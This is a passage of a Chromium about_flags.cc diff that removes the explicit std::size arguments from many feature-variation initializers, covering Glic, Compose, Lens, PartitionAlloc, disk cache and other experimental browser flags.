         {"V2, Off by default", kPwaNavigationCapturingReimplDefaultOff,
-         std::size(kPwaNavigationCapturingReimplDefaultOff), nullptr},
+         nullptr},
         {"V2, On by app client_mode",
-         kPwaNavigationCapturingReimplOnViaClientMode,
-         std::size(kPwaNavigationCapturingReimplOnViaClientMode), nullptr}};
+         kPwaNavigationCapturingReimplOnViaClientMode, nullptr}};
 #endif  // BUILDFLAG(IS_LINUX) || BUILDFLAG(IS_MAC) || BUILDFLAG(IS_WIN) ||
         // BUILDFLAG(IS_CHROMEOS)
 
@@ -3843,12 +3506,9 @@
     {"trigger_type", "long_press"}};
 
 const FeatureEntry::FeatureVariation kLinkPreviewTriggerTypeVariations[] = {
-    {"Alt + Click", kLinkPreviewTriggerTypeAltClick,
-     std::size(kLinkPreviewTriggerTypeAltClick), nullptr},
-    {"Alt + Hover", kLinkPreviewTriggerTypeAltHover,
-     std::size(kLinkPreviewTriggerTypeAltHover), nullptr},
-    {"Long Press", kLinkPreviewTriggerTypeLongPress,
-     std::size(kLinkPreviewTriggerTypeLongPress), nullptr}};
+    {"Alt + Click", kLinkPreviewTriggerTypeAltClick, nullptr},
+    {"Alt + Hover", kLinkPreviewTriggerTypeAltHover, nullptr},
+    {"Long Press", kLinkPreviewTriggerTypeLongPress, nullptr}};
 #endif  // !BUILDFLAG(IS_ANDROID)
 
 #if BUILDFLAG(IS_ANDROID)
@@ -3885,16 +3545,11 @@
     {"group_suggestion_enable_tab_switcher_only", "true"},
 };
 const FeatureEntry::FeatureVariation kGroupSuggestionVariations[] = {
-    {"Recently Opened Only", kGroupSuggestionEnableRecentlyOpenedOnly,
-     std::size(kGroupSuggestionEnableRecentlyOpenedOnly), nullptr},
-    {"Switch Between Only", kGroupSuggestionEnableSwitchBetweenOnly,
-     std::size(kGroupSuggestionEnableSwitchBetweenOnly), nullptr},
-    {"Similar Source Only", kGroupSuggestionEnableSimilarSourceOnly,
-     std::size(kGroupSuggestionEnableSimilarSourceOnly), nullptr},
-    {"Same Origin Only", kGroupSuggestionEnableSameOriginOnly,
-     std::size(kGroupSuggestionEnableSameOriginOnly), nullptr},
-    {"Tab Switcher Only", kGroupSuggestionEnableTabSwitcherOnly,
-     std::size(kGroupSuggestionEnableTabSwitcherOnly), nullptr},
+    {"Recently Opened Only", kGroupSuggestionEnableRecentlyOpenedOnly, nullptr},
+    {"Switch Between Only", kGroupSuggestionEnableSwitchBetweenOnly, nullptr},
+    {"Similar Source Only", kGroupSuggestionEnableSimilarSourceOnly, nullptr},
+    {"Same Origin Only", kGroupSuggestionEnableSameOriginOnly, nullptr},
+    {"Tab Switcher Only", kGroupSuggestionEnableTabSwitcherOnly, nullptr},
 };
 
 #if BUILDFLAG(ENABLE_COMPOSE)
@@ -3923,20 +3578,13 @@
     {"selection_nudge_length", "100"}};
 
 const FeatureEntry::FeatureVariation kComposeSelectionNudgeVariations[] = {
-    {"1 Char", kComposeSelectionNudge_1, std::size(kComposeSelectionNudge_1),
-     nullptr},
-    {"15 Char", kComposeSelectionNudge_15, std::size(kComposeSelectionNudge_15),
-     nullptr},
-    {"30 Char", kComposeSelectionNudge_30, std::size(kComposeSelectionNudge_30),
-     nullptr},
-    {"50 Char", kComposeSelectionNudge_50, std::size(kComposeSelectionNudge_50),
-     nullptr},
-    {"100 Char", kComposeSelectionNudge_100,
-     std::size(kComposeSelectionNudge_100), nullptr},
-    {"30 Char - 1sec", kComposeSelectionNudge_30_1s,
-     std::size(kComposeSelectionNudge_30_1s), nullptr},
-    {"30 char - 2sec", kComposeSelectionNudge_30_2s,
-     std::size(kComposeSelectionNudge_30_2s), nullptr}};
+    {"1 Char", kComposeSelectionNudge_1, nullptr},
+    {"15 Char", kComposeSelectionNudge_15, nullptr},
+    {"30 Char", kComposeSelectionNudge_30, nullptr},
+    {"50 Char", kComposeSelectionNudge_50, nullptr},
+    {"100 Char", kComposeSelectionNudge_100, nullptr},
+    {"30 Char - 1sec", kComposeSelectionNudge_30_1s, nullptr},
+    {"30 char - 2sec", kComposeSelectionNudge_30_2s, nullptr}};
 #endif  // ENABLE_COMPOSE
 
 #if BUILDFLAG(IS_MAC) || BUILDFLAG(IS_WIN)
@@ -3950,14 +3598,11 @@
     {{"LocationProviderManagerMode", "HybridPlatform2"}};
 
 const FeatureEntry::FeatureVariation kLocationProviderManagerVariations[] = {
-    {"Network only", kLocationProviderManagerModeNetworkOnly,
-     std::size(kLocationProviderManagerModeNetworkOnly), nullptr},
-    {"Platform only", kLocationProviderManagerModePlatformOnly,
-     std::size(kLocationProviderManagerModePlatformOnly), nullptr},
-    {"Wi-Fi fallback", kLocationProviderManagerModeHybridPlatform,
-     std::size(kLocationProviderManagerModeHybridPlatform), nullptr},
+    {"Network only", kLocationProviderManagerModeNetworkOnly, nullptr},
+    {"Platform only", kLocationProviderManagerModePlatformOnly, nullptr},
+    {"Wi-Fi fallback", kLocationProviderManagerModeHybridPlatform, nullptr},
     {"Fallback on error", kLocationProviderManagerModeHybridPlatform2,
-     std::size(kLocationProviderManagerModeHybridPlatform2), nullptr}};
+     nullptr}};
 #endif  // BUILDFLAG(IS_MAC) || BUILDFLAG(IS_WIN)
 
 const FeatureEntry::FeatureParam kVisitedURLRankingDomainDeduplicationParam[] =
@@ -3977,15 +3622,11 @@
 const FeatureEntry::FeatureVariation
     kVisitedURLRankingDomainDeduplicationVariations[] = {
         {"- Domain Deduplication", kVisitedURLRankingDomainDeduplicationParam,
-         std::size(kVisitedURLRankingDomainDeduplicationParam), nullptr},
-        {"- Domain Deduplication - Include Query",
-         kVisitedURLRankingDomainDeduplicationIncludeQueryParam,
-         std::size(kVisitedURLRankingDomainDeduplicationIncludeQueryParam),
          nullptr},
+        {"- Domain Deduplication - Include Query",
+         kVisitedURLRankingDomainDeduplicationIncludeQueryParam, nullptr},
         {"- Domain Deduplication - Include Path and Query",
-         kVisitedURLRankingDomainDeduplicationIncludePathQueryParam,
-         std::size(kVisitedURLRankingDomainDeduplicationIncludePathQueryParam),
-         nullptr}};
+         kVisitedURLRankingDomainDeduplicationIncludePathQueryParam, nullptr}};
 
 #if BUILDFLAG(ENABLE_EXTENSIONS)
 constexpr char kExtensionAiDataInternalName[] =
@@ -3997,8 +3638,7 @@
 
 #if !BUILDFLAG(IS_ANDROID)
 const FeatureEntry::FeatureVariation kDiscountsVariations[] = {
-    {"Discount on Shoppy page", kDiscountOnShoppyPage,
-     std::size(kDiscountOnShoppyPage), nullptr}};
+    {"Discount on Shoppy page", kDiscountOnShoppyPage, nullptr}};
 #endif  // !BUILDFLAG(IS_ANDROID)
 
 #if BUILDFLAG(IS_ANDROID)
@@ -4006,10 +3646,9 @@
     {commerce::kDiscountOnShoppyPageParam, "true"},
     {"action_chip_with_different_color", "true"}};
 const FeatureEntry::FeatureVariation kDiscountsVariationsOnAndroid[] = {
-    {"Discount on Shoppy page", kDiscountOnShoppyPage,
-     std::size(kDiscountOnShoppyPage), nullptr},
+    {"Discount on Shoppy page", kDiscountOnShoppyPage, nullptr},
     {"action chip different color", kDiscountIconOnAndroidUseAlternateColor,
-     std::size(kDiscountIconOnAndroidUseAlternateColor), nullptr}};
+     nullptr}};
 #endif  // BUILDFLAG(IS_ANDROID)
 
 const FeatureEntry::FeatureParam kSkiaGraphite_ValidationEnabled[] = {
@@ -4021,11 +3660,10 @@
 
 const FeatureEntry::FeatureVariation kSkiaGraphiteVariations[] = {
     {"dawn frontend validation enabled", kSkiaGraphite_ValidationEnabled,
-     std::size(kSkiaGraphite_ValidationEnabled), nullptr},
+     nullptr},
     {"dawn frontend validation disabled", kSkiaGraphite_ValidationDisabled,
-     std::size(kSkiaGraphite_ValidationDisabled), nullptr},
-    {"dawn debug labels enabled", kSkiaGraphite_DebugLabelsEnabled,
-     std::size(kSkiaGraphite_DebugLabelsEnabled), nullptr},
+     nullptr},
+    {"dawn debug labels enabled", kSkiaGraphite_DebugLabelsEnabled, nullptr},
 };
 
 #if BUILDFLAG(IS_ANDROID)
@@ -4034,7 +3672,7 @@
 
 const FeatureEntry::FeatureVariation kSensitiveContentVariations[] = {
     {"with password manager heuristics", kSensitiveContentUsePwmHeuristics,
-     std::size(kSensitiveContentUsePwmHeuristics), nullptr},
+     nullptr},
 };
 #endif  // BUILDFLAG(IS_ANDROID)
 
@@ -4048,8 +3686,7 @@
     {"MinPageCountBetweenNudges", "0"},
     {"MinTimeBetweenNudges", "0h"}};
 const FeatureEntry::FeatureVariation kContextualCueingEnabledOptions[] = {
-    {"no engagement caps", kContextualCueingEnabledNoEngagementCap,
-     std::size(kContextualCueingEnabledNoEngagementCap), nullptr},
+    {"no engagement caps", kContextualCueingEnabledNoEngagementCap, nullptr},
 };
 #endif  // BUILDFLAG(IS_WIN) || BUILDFLAG(IS_MAC) || BUILDFLAG(IS_LINUX) ||
         // BUILDFLAG(IS_CHROMEOS)
@@ -4071,23 +3708,15 @@
     kPartitionAllocWithAdvancedChecksEnabledProcessesOptions[] = {
         {"on browser process only",
          kPartitionAllocWithAdvancedChecksEnabledProcesses_BrowserOnly,
-         std::size(
-             kPartitionAllocWithAdvancedChecksEnabledProcesses_BrowserOnly),
          nullptr},
         {"on browser and renderer processes",
          kPartitionAllocWithAdvancedChecksEnabledProcesses_BrowserAndRenderer,
-         std::size(
-             kPartitionAllocWithAdvancedChecksEnabledProcesses_BrowserAndRenderer),
          nullptr},
         {"on non renderer processes",
          kPartitionAllocWithAdvancedChecksEnabledProcesses_NonRenderer,
-         std::size(
-             kPartitionAllocWithAdvancedChecksEnabledProcesses_NonRenderer),
          nullptr},
         {"on all processes",
          kPartitionAllocWithAdvancedChecksEnabledProcesses_AllProcesses,
-         std::size(
-             kPartitionAllocWithAdvancedChecksEnabledProcesses_AllProcesses),
          nullptr}};
 #endif  // PA_BUILDFLAG(USE_PARTITION_ALLOC_AS_MALLOC)
 
@@ -4095,8 +3724,7 @@
     {send_tab_to_self::kSendTabIOSPushNotificationsURLImageParam, "true"}};
 const FeatureEntry::FeatureVariation kSendTabIOSPushNotificationsVariations[] =
     {
-        {"With URL Image", kSendTabIOSPushNotificationsWithURLImage,
-         std::size(kSendTabIOSPushNotificationsWithURLImage), nullptr},
+        {"With URL Image", kSendTabIOSPushNotificationsWithURLImage, nullptr},
 };
 
 #if BUILDFLAG(IS_ANDROID) && PA_BUILDFLAG(HAS_MEMORY_TAGGING) && \
@@ -4129,29 +3757,17 @@
 const FeatureEntry::FeatureVariation
     kPartitionAllocMemoryTaggingEnabledProcessesOptions[] = {
         {"ASYNC mode on browser process only",
-         kPartitionAllocMemoryTaggingParams_AsyncBrowserOnly,
-         std::size(kPartitionAllocMemoryTaggingParams_AsyncBrowserOnly),
-         nullptr},
+         kPartitionAllocMemoryTaggingParams_AsyncBrowserOnly, nullptr},
         {"ASYNC mode on non renderer processes",
-         kPartitionAllocMemoryTaggingParams_AsyncNonRenderer,
-         std::size(kPartitionAllocMemoryTaggingParams_AsyncNonRenderer),
-         nullptr},
+         kPartitionAllocMemoryTaggingParams_AsyncNonRenderer, nullptr},
         {"ASYNC mode on all processes",
-         kPartitionAllocMemoryTaggingParams_AsyncAllProcesses,
-         std::size(kPartitionAllocMemoryTaggingParams_AsyncAllProcesses),
-         nullptr},
+         kPartitionAllocMemoryTaggingParams_AsyncAllProcesses, nullptr},
         {"SYNC mode on browser process only",
-         kPartitionAllocMemoryTaggingParams_SyncBrowserOnly,
-         std::size(kPartitionAllocMemoryTaggingParams_SyncBrowserOnly),
-         nullptr},
+         kPartitionAllocMemoryTaggingParams_SyncBrowserOnly, nullptr},
         {"SYNC mode on non renderer processes",
-         kPartitionAllocMemoryTaggingParams_SyncNonRenderer,
-         std::size(kPartitionAllocMemoryTaggingParams_SyncNonRenderer),
-         nullptr},
+         kPartitionAllocMemoryTaggingParams_SyncNonRenderer, nullptr},
         {"SYNC mode on all processes",
-         kPartitionAllocMemoryTaggingParams_SyncAllProcesses,
-         std::size(kPartitionAllocMemoryTaggingParams_SyncAllProcesses),
-         nullptr}};
+         kPartitionAllocMemoryTaggingParams_SyncAllProcesses, nullptr}};
 #endif  // BUILDFLAG(IS_ANDROID) && PA_BUILDFLAG(HAS_MEMORY_TAGGING) &&
         // PA_BUILDFLAG(USE_PARTITION_ALLOC_AS_MALLOC)
 
@@ -4168,16 +3784,11 @@
     {"attenuation", "100"}};
 
 const FeatureEntry::FeatureVariation kAudioDuckingAttenuationVariations[] = {
-    {"attenuation 60", kAudioDuckingAttenuation_60,
-     std::size(kAudioDuckingAttenuation_60), nullptr},
-    {"attenuation 70", kAudioDuckingAttenuation_70,
-     std::size(kAudioDuckingAttenuation_70), nullptr},
-    {"attenuation 80", kAudioDuckingAttenuation_80,
-     std::size(kAudioDuckingAttenuation_80), nullptr},
-    {"attenuation 90", kAudioDuckingAttenuation_90,
-     std::size(kAudioDuckingAttenuation_90), nullptr},
-    {"attenuation 100", kAudioDuckingAttenuation_100,
-     std::size(kAudioDuckingAttenuation_100), nullptr}};
+    {"attenuation 60", kAudioDuckingAttenuation_60, nullptr},
+    {"attenuation 70", kAudioDuckingAttenuation_70, nullptr},
+    {"attenuation 80", kAudioDuckingAttenuation_80, nullptr},
+    {"attenuation 90", kAudioDuckingAttenuation_90, nullptr},
+    {"attenuation 100", kAudioDuckingAttenuation_100, nullptr}};
 #endif  // !BUILDFLAG(IS_ANDROID)
 
 #if !BUILDFLAG(IS_ANDROID)
@@ -4204,8 +3815,7 @@
     kMaliciousApkDownloadCheckTelemetryOnlyParams[] = {
         {"telemetry_only", "true"}};
 const FeatureEntry::FeatureVariation kMaliciousApkDownloadCheckChoices[] = {
-    {"Telemetry only", kMaliciousApkDownloadCheckTelemetryOnlyParams,
-     std::size(kMaliciousApkDownloadCheckTelemetryOnlyParams), nullptr}};
+    {"Telemetry only", kMaliciousApkDownloadCheckTelemetryOnlyParams, nullptr}};
 #endif  // BUILDFLAG(IS_ANDROID)
 
 #if BUILDFLAG(IS_ANDROID)
@@ -4224,7 +3834,7 @@
 const FeatureEntry::FeatureVariation
     kStandardBoundSessionCredentialsVariations[] = {
         {"- For developers", kStandardBoundSessionCredentialsForDevelopers,
-         std::size(kStandardBoundSessionCredentialsForDevelopers), nullptr}};
+         nullptr}};
 
 const FeatureEntry::FeatureParam
     kStandardBoundSessionCredentialsFederatedSessionsForDevelopers[] = {
@@ -4234,8 +3844,6 @@
     kStandardBoundSessionCredentialsFederatedSessionsVariations[] = {
         {"- For developers",
          kStandardBoundSessionCredentialsFederatedSessionsForDevelopers,
-         std::size(
-             kStandardBoundSessionCredentialsFederatedSessionsForDevelopers),
          nullptr}};
 
 // LINT.IfChange(AutofillVcnEnrollStrikeExpiryTime)
@@ -4250,12 +3858,9 @@
 
 const FeatureEntry::FeatureVariation
     kAutofillVcnEnrollStrikeExpiryTimeOptions[] = {
-        {"120 days", kAutofillVcnEnrollStrikeExpiryTime_120Days,
-         std::size(kAutofillVcnEnrollStrikeExpiryTime_120Days), nullptr},
-        {"60 days", kAutofillVcnEnrollStrikeExpiryTime_60Days,
-         std::size(kAutofillVcnEnrollStrikeExpiryTime_60Days), nullptr},
-        {"30 days", kAutofillVcnEnrollStrikeExpiryTime_30Days,
-         std::size(kAutofillVcnEnrollStrikeExpiryTime_30Days), nullptr}};
+        {"120 days", kAutofillVcnEnrollStrikeExpiryTime_120Days, nullptr},
+        {"60 days", kAutofillVcnEnrollStrikeExpiryTime_60Days, nullptr},
+        {"30 days", kAutofillVcnEnrollStrikeExpiryTime_30Days, nullptr}};
 // LINT.ThenChange(//ios/chrome/browser/flags/about_flags.mm:AutofillVcnEnrollStrikeExpiryTime)
 
 #if BUILDFLAG(ENABLE_GLIC)
@@ -4274,15 +3879,15 @@
 const FeatureEntry::FeatureVariation
     kGlicPanelResetTopChromeButtonVariations[] = {
         {"Reset on open - 1s", kGlicPanelResetTopChromeButtonOnOpen_1s,
-         std::size(kGlicPanelResetTopChromeButtonOnOpen_1s), nullptr},
+         nullptr},
         {"Reset on open - 2s", kGlicPanelResetTopChromeButtonOnOpen_2s,
-         std::size(kGlicPanelResetTopChromeButtonOnOpen_2s), nullptr},
+         nullptr},
         {"Reset on open - 3s", kGlicPanelResetTopChromeButtonOnOpen_3s,
-         std::size(kGlicPanelResetTopChromeButtonOnOpen_3s), nullptr},
+         nullptr},
         {"Reset on open - 5s", kGlicPanelResetTopChromeButtonOnOpen_5s,
-         std::size(kGlicPanelResetTopChromeButtonOnOpen_5s), nullptr},
+         nullptr},
         {"Reset on open - 10s", kGlicPanelResetTopChromeButtonOnOpen_10s,
-         std::size(kGlicPanelResetTopChromeButtonOnOpen_10s), nullptr}};
+         nullptr}};
 
 const FeatureEntry::FeatureParam kGlicPanelResetOnSessionTimeout_0h[] = {
     {"glic-panel-reset-session-timeout-delay-h", "0"},
@@ -4317,24 +3922,15 @@
 
 const FeatureEntry::FeatureVariation
     kGlicPanelResetOnSessionTimeoutVariations[] = {
-        {"Always Restart (0min)", kGlicPanelResetOnSessionTimeout_0h,
-         std::size(kGlicPanelResetOnSessionTimeout_0h), nullptr},
-        {"Reset after 5min", kGlicPanelResetOnSessionTimeout_5min,
-         std::size(kGlicPanelResetOnSessionTimeout_5min), nullptr},
-        {"Reset after 30min", kGlicPanelResetOnSessionTimeout_30min,
-         std::size(kGlicPanelResetOnSessionTimeout_30min), nullptr},
-        {"Reset after 1h", kGlicPanelResetOnSessionTimeout_1h,
-         std::size(kGlicPanelResetOnSessionTimeout_1h), nullptr},
-        {"Reset after 2h", kGlicPanelResetOnSessionTimeout_2h,
-         std::size(kGlicPanelResetOnSessionTimeout_2h), nullptr},
-        {"Reset after 4h", kGlicPanelResetOnSessionTimeout_4h,
-         std::size(kGlicPanelResetOnSessionTimeout_4h), nullptr},
-        {"Reset after 12h", kGlicPanelResetOnSessionTimeout_12h,
-         std::size(kGlicPanelResetOnSessionTimeout_12h), nullptr},
-        {"Reset after 24h", kGlicPanelResetOnSessionTimeout_24h,
-         std::size(kGlicPanelResetOnSessionTimeout_24h), nullptr},
-        {"Reset after 48h", kGlicPanelResetOnSessionTimeout_48h,
-         std::size(kGlicPanelResetOnSessionTimeout_48h), nullptr}};
+        {"Always Restart (0min)", kGlicPanelResetOnSessionTimeout_0h, nullptr},
+        {"Reset after 5min", kGlicPanelResetOnSessionTimeout_5min, nullptr},
+        {"Reset after 30min", kGlicPanelResetOnSessionTimeout_30min, nullptr},
+        {"Reset after 1h", kGlicPanelResetOnSessionTimeout_1h, nullptr},
+        {"Reset after 2h", kGlicPanelResetOnSessionTimeout_2h, nullptr},
+        {"Reset after 4h", kGlicPanelResetOnSessionTimeout_4h, nullptr},
+        {"Reset after 12h", kGlicPanelResetOnSessionTimeout_12h, nullptr},
+        {"Reset after 24h", kGlicPanelResetOnSessionTimeout_24h, nullptr},
+        {"Reset after 48h", kGlicPanelResetOnSessionTimeout_48h, nullptr}};
 
 // Variations on pre-warming delays.
 const FeatureEntry::FeatureParam kGlicWarmingShorterDelays[] = {
@@ -4342,8 +3938,7 @@
     {"glic-panel-reset-delay-ms", "2000"}};
 
 const FeatureEntry::FeatureVariation kGlicWarmingVariations[] = {
-    {"with shorter delays", kGlicWarmingShorterDelays,
-     std::size(kGlicWarmingShorterDelays), nullptr}};
+    {"with shorter delays", kGlicWarmingShorterDelays, nullptr}};
 
 const char kGlicEntrypointVariationsShowLabel[] =
     "glic-entrypoint-variations-show-label";
@@ -4380,17 +3975,13 @@
 };
 
 const FeatureEntry::FeatureVariation kGlicEntrypointVariations[] = {
-    {"highlight nudge only", kGlicEntrypointVariationsHighlightOnly,
-     std::size(kGlicEntrypointVariationsHighlightOnly), nullptr},
-    {"label only", kGlicEntrypointVariationsLabelOnly,
-     std::size(kGlicEntrypointVariationsLabelOnly), nullptr},
+    {"highlight nudge only", kGlicEntrypointVariationsHighlightOnly, nullptr},
+    {"label only", kGlicEntrypointVariationsLabelOnly, nullptr},
     {"label, highlight nudge", kGlicEntrypointVariationsLabelAndHighlight,
-     std::size(kGlicEntrypointVariationsLabelAndHighlight), nullptr},
-    {"label, alt icon", kGlicEntrypointVariationsLabelAndIcon,
-     std::size(kGlicEntrypointVariationsLabelAndIcon), nullptr},
+     nullptr},
+    {"label, alt icon", kGlicEntrypointVariationsLabelAndIcon, nullptr},
     {"label, icon, highlight nudge",
-     kGlicEntrypointVariationsLabelAndIconAndHighlight,
-     std::size(kGlicEntrypointVariationsLabelAndIconAndHighlight), nullptr},
+     kGlicEntrypointVariationsLabelAndIconAndHighlight, nullptr},
 };
 
 const FeatureEntry::FeatureParam kGlicButtonPressedStateForceSolidIcon[] = {
@@ -4398,8 +3989,7 @@
 
 const FeatureEntry::FeatureVariation kGlicButtonPressedStateVariations[] = {
     {"force solid color icon when pressed",
-     kGlicButtonPressedStateForceSolidIcon,
-     std::size(kGlicButtonPressedStateForceSolidIcon), nullptr}};
+     kGlicButtonPressedStateForceSolidIcon, nullptr}};
 
 const FeatureEntry::FeatureParam kGlicButtonAltLabelVariant0[] = {
     {"glic-button-alt-label-variant", "0"}};
@@ -4409,12 +3999,9 @@
     {"glic-button-alt-label-variant", "2"}};
 
 const FeatureEntry::FeatureVariation kGlicButtonAltLabelVariations[] = {
-    {"A", kGlicButtonAltLabelVariant0, std::size(kGlicButtonAltLabelVariant0),
-     nullptr},
-    {"B", kGlicButtonAltLabelVariant1, std::size(kGlicButtonAltLabelVariant1),
-     nullptr},
-    {"C", kGlicButtonAltLabelVariant2, std::size(kGlicButtonAltLabelVariant2),
-     nullptr}};
+    {"A", kGlicButtonAltLabelVariant0, nullptr},
+    {"B", kGlicButtonAltLabelVariant1, nullptr},
+    {"C", kGlicButtonAltLabelVariant2, nullptr}};
 
 const FeatureEntry::FeatureParam kGlicTrustFirstOnboardingArm1Params[] = {
     {"arm", "1"}};
@@ -4424,12 +4011,9 @@
     {"arm", "3"}};
 
 const FeatureEntry::FeatureVariation kGlicTrustFirstOnboardingVariations[] = {
-    {"- Arm 1: Start Chat", kGlicTrustFirstOnboardingArm1Params,
-     std::size(kGlicTrustFirstOnboardingArm1Params), nullptr},
-    {"- Arm 2: Welcome Screen", kGlicTrustFirstOnboardingArm2Params,
-     std::size(kGlicTrustFirstOnboardingArm2Params), nullptr},
-    {"- Arm 3: In-Flow opt-in", kGlicTrustFirstOnboardingArm3Params,
-     std::size(kGlicTrustFirstOnboardingArm3Params), nullptr},
+    {"- Arm 1: Start Chat", kGlicTrustFirstOnboardingArm1Params, nullptr},
+    {"- Arm 2: Welcome Screen", kGlicTrustFirstOnboardingArm2Params, nullptr},
+    {"- Arm 3: In-Flow opt-in", kGlicTrustFirstOnboardingArm3Params, nullptr},
 };
 
 const FeatureEntry::Choice kGlicSetG1ForMultiInstance[] = {
@@ -4447,19 +4031,16 @@
     {"glic-guest-url-preset-type", "2"}};
 
 const FeatureEntry::FeatureVariation kGlicGuestUrlPresetTypes[] = {
-    {"Auto-push", kGlicGuestUrlPresetTypeAutopush,
-     std::size(kGlicGuestUrlPresetTypeAutopush), nullptr},
-    {"Pre-prod", kGlicGuestUrlPresetTypePreprod,
-     std::size(kGlicGuestUrlPresetTypePreprod), nullptr},
-    {"Prod", kGlicGuestUrlPresetTypeProd,
-     std::size(kGlicGuestUrlPresetTypeProd), nullptr}};
+    {"Auto-push", kGlicGuestUrlPresetTypeAutopush, nullptr},
+    {"Pre-prod", kGlicGuestUrlPresetTypePreprod, nullptr},
+    {"Prod", kGlicGuestUrlPresetTypeProd, nullptr}};
 #endif  // BUILDFLAG(ENABLE_GLIC)
 
 const FeatureEntry::FeatureParam kAutofillShowTypePredictionsAsTitle[] = {
     {"as-title", "true"}};
 const FeatureEntry::FeatureVariation kAutofillShowTypePredictionsVariations[] =
     {{"- show predictions as title", kAutofillShowTypePredictionsAsTitle,
-      std::size(kAutofillShowTypePredictionsAsTitle), nullptr}};
+      nullptr}};
 
 const FeatureEntry::FeatureParam
     kInvalidateChoiceOnRestoreIsRetroactiveOption[] = {
@@ -4467,12 +4048,12 @@
 const FeatureEntry::FeatureVariation
     kInvalidateSearchEngineChoiceOnRestoreVariations[] = {
         {"(retroactive)", kInvalidateChoiceOnRestoreIsRetroactiveOption,
-         std::size(kInvalidateChoiceOnRestoreIsRetroactiveOption), nullptr}};
+         nullptr}};
 
 const FeatureEntry::FeatureParam kAILangsParam[] = {{"langs", "*"}};
 
 const FeatureEntry::FeatureVariation kAILangsVariation[] = {
-    {"Multilingual", kAILangsParam, std::size(kAILangsParam), nullptr},
+    {"Multilingual", kAILangsParam, nullptr},
 };
 
 #if BUILDFLAG(IS_WIN)
@@ -4482,8 +4063,7 @@
 
 const FeatureEntry::FeatureVariation kAvatarButtonSyncPromoVariations[] = {
     {"with short minimum cookie age (for testing)",
-     kAvatarButtonSyncPromoMinimumCookeAge,
-     std::size(kAvatarButtonSyncPromoMinimumCookeAge), nullptr}};
+     kAvatarButtonSyncPromoMinimumCookeAge, nullptr}};
 #endif
 
 #if BUILDFLAG(IS_ANDROID)
@@ -4496,11 +4076,10 @@
         {"snippet_as_subtitle", "true"},
 };
 const FeatureEntry::FeatureVariation kTouchToSearchCalloutVariations[] = {
-    {"Default", nullptr, 0, nullptr},
-    {"IPH", kTouchToSearchCalloutIphParams,
-     std::size(kTouchToSearchCalloutIphParams), nullptr},
+    {"Default", {}, nullptr},
+    {"IPH", kTouchToSearchCalloutIphParams, nullptr},
     {"Snippet As Subtitle", kTouchToSearchCalloutSnippetAsSubtitleParams,
-     std::size(kTouchToSearchCalloutSnippetAsSubtitleParams), nullptr},
+     nullptr},
 };
 
 #endif  // BUILDFLAG(IS_ANDROID)
@@ -4519,10 +4098,8 @@
 };
 
 const FeatureEntry::FeatureVariation kLensOverlayEduActionChipVariations[] = {
-    {"trigger on \"homework\"", kLensOverlayEduActionChipHomework,
-     std::size(kLensOverlayEduActionChipAllPages), nullptr},
-    {"force trigger all pages", kLensOverlayEduActionChipAllPages,
-     std::size(kLensOverlayEduActionChipAllPages), nullptr},
+    {"trigger on \"homework\"", kLensOverlayEduActionChipHomework, nullptr},
+    {"force trigger all pages", kLensOverlayEduActionChipAllPages, nullptr},
 };
 
 const FeatureEntry::FeatureParam kLensOverlayEntrypointLabelAlt1[] = {
@@ -4540,11 +4117,11 @@
 const FeatureEntry::FeatureVariation
     kLensOverlayEntrypointLabelAltVariations[] = {
         {"Ask Google about this page", kLensOverlayEntrypointLabelAlt1,
-         std::size(kLensOverlayEntrypointLabelAlt1), nullptr},
+         nullptr},
         {"Ask Google Lens about this page", kLensOverlayEntrypointLabelAlt2,
-         std::size(kLensOverlayEntrypointLabelAlt2), nullptr},
+         nullptr},
         {"Search this page with Google Lens", kLensOverlayEntrypointLabelAlt3,
-         std::size(kLensOverlayEntrypointLabelAlt3), nullptr},
+         nullptr},
 };
 
 const FeatureEntry::FeatureParam kEnableNtpBrowserPromosVariationSimple[] = {
@@ -4554,10 +4131,8 @@
     {"promo-type", "setuplist"}};
 
 const FeatureEntry::FeatureVariation kEnableNtpBrowserPromosVariations[] = {
-    {"Single-promo", kEnableNtpBrowserPromosVariationSimple,
-     std::size(kEnableNtpBrowserPromosVariationSimple)},
-    {"Setup List", kEnableNtpBrowserPromosVariationSetupList,
-     std::size(kEnableNtpBrowserPromosVariationSetupList)},
+    {"Single-promo", kEnableNtpBrowserPromosVariationSimple},
+    {"Setup List", kEnableNtpBrowserPromosVariationSetupList},
 };
 #endif  // !BUILDFLAG(IS_ANDROID)
 
@@ -4588,16 +4163,14 @@
     {"backend", "sql"}};
 
 const FeatureEntry::FeatureVariation kDiskCacheBackendExperimentVariations[] = {
-    {"default backend", kDiskCacheBackendExperimentVariations_Default,
-     std::size(kDiskCacheBackendExperimentVariations_Default), nullptr},
-    {"simple backend", kDiskCacheBackendExperimentVariations_Simple,
-     std::size(kDiskCacheBackendExperimentVariations_Simple), nullptr},
+    {"default backend", kDiskCacheBackendExperimentVariations_Default, nullptr},
+    {"simple backend", kDiskCacheBackendExperimentVariations_Simple, nullptr},
 #if !BUILDFLAG(IS_ANDROID)
     {"blockfile backend", kDiskCacheBackendExperimentVariations_Blockfile,
-     std::size(kDiskCacheBackendExperimentVariations_Blockfile), nullptr},
+     nullptr},
 #endif  // !BUILDFLAG(IS_ANDROID)
     {"experimental sql backend", kDiskCacheBackendExperimentVariations_Sql,
-     std::size(kDiskCacheBackendExperimentVariations_Sql), nullptr}};
+     nullptr}};
 
 const FeatureEntry::FeatureParam
     kSafetyHubDisruptiveNotificationRevocationVariations_RevokeAll[] = {
@@ -4617,13 +4190,9 @@
     kSafetyHubDisruptiveNotificationRevocationVariations[] = {
         {"- Revoke all for testing",
          kSafetyHubDisruptiveNotificationRevocationVariations_RevokeAll,
-         std::size(
-             kSafetyHubDisruptiveNotificationRevocationVariations_RevokeAll),
          nullptr},
         {"- Moderate",
          kSafetyHubDisruptiveNotificationRevocationVariations_Moderate,
-         std::size(
-             kSafetyHubDisruptiveNotificationRevocationVariations_Moderate),
          nullptr},
 };
 
@@ -4644,22 +4213,17 @@
 const FeatureEntry::FeatureVariation
     kApproximateGeolocationPermissionVariations[] = {
         {"- Prompt arm: Horizontal Minimal",
-         kApproximateGeolocationPermissionArm1Params,
-         std::size(kApproximateGeolocationPermissionArm1Params), nullptr},
+         kApproximateGeolocationPermissionArm1Params, nullptr},
         {"- Prompt arm: Horizontal with Icon",
-         kApproximateGeolocationPermissionArm2Params,
-         std::size(kApproximateGeolocationPermissionArm2Params), nullptr},
+         kApproximateGeolocationPermissionArm2Params, nullptr},
         {"- Prompt arm: Horizontal with Icon + Description",
-         kApproximateGeolocationPermissionArm3Params,
-         std::size(kApproximateGeolocationPermissionArm3Params), nullptr},
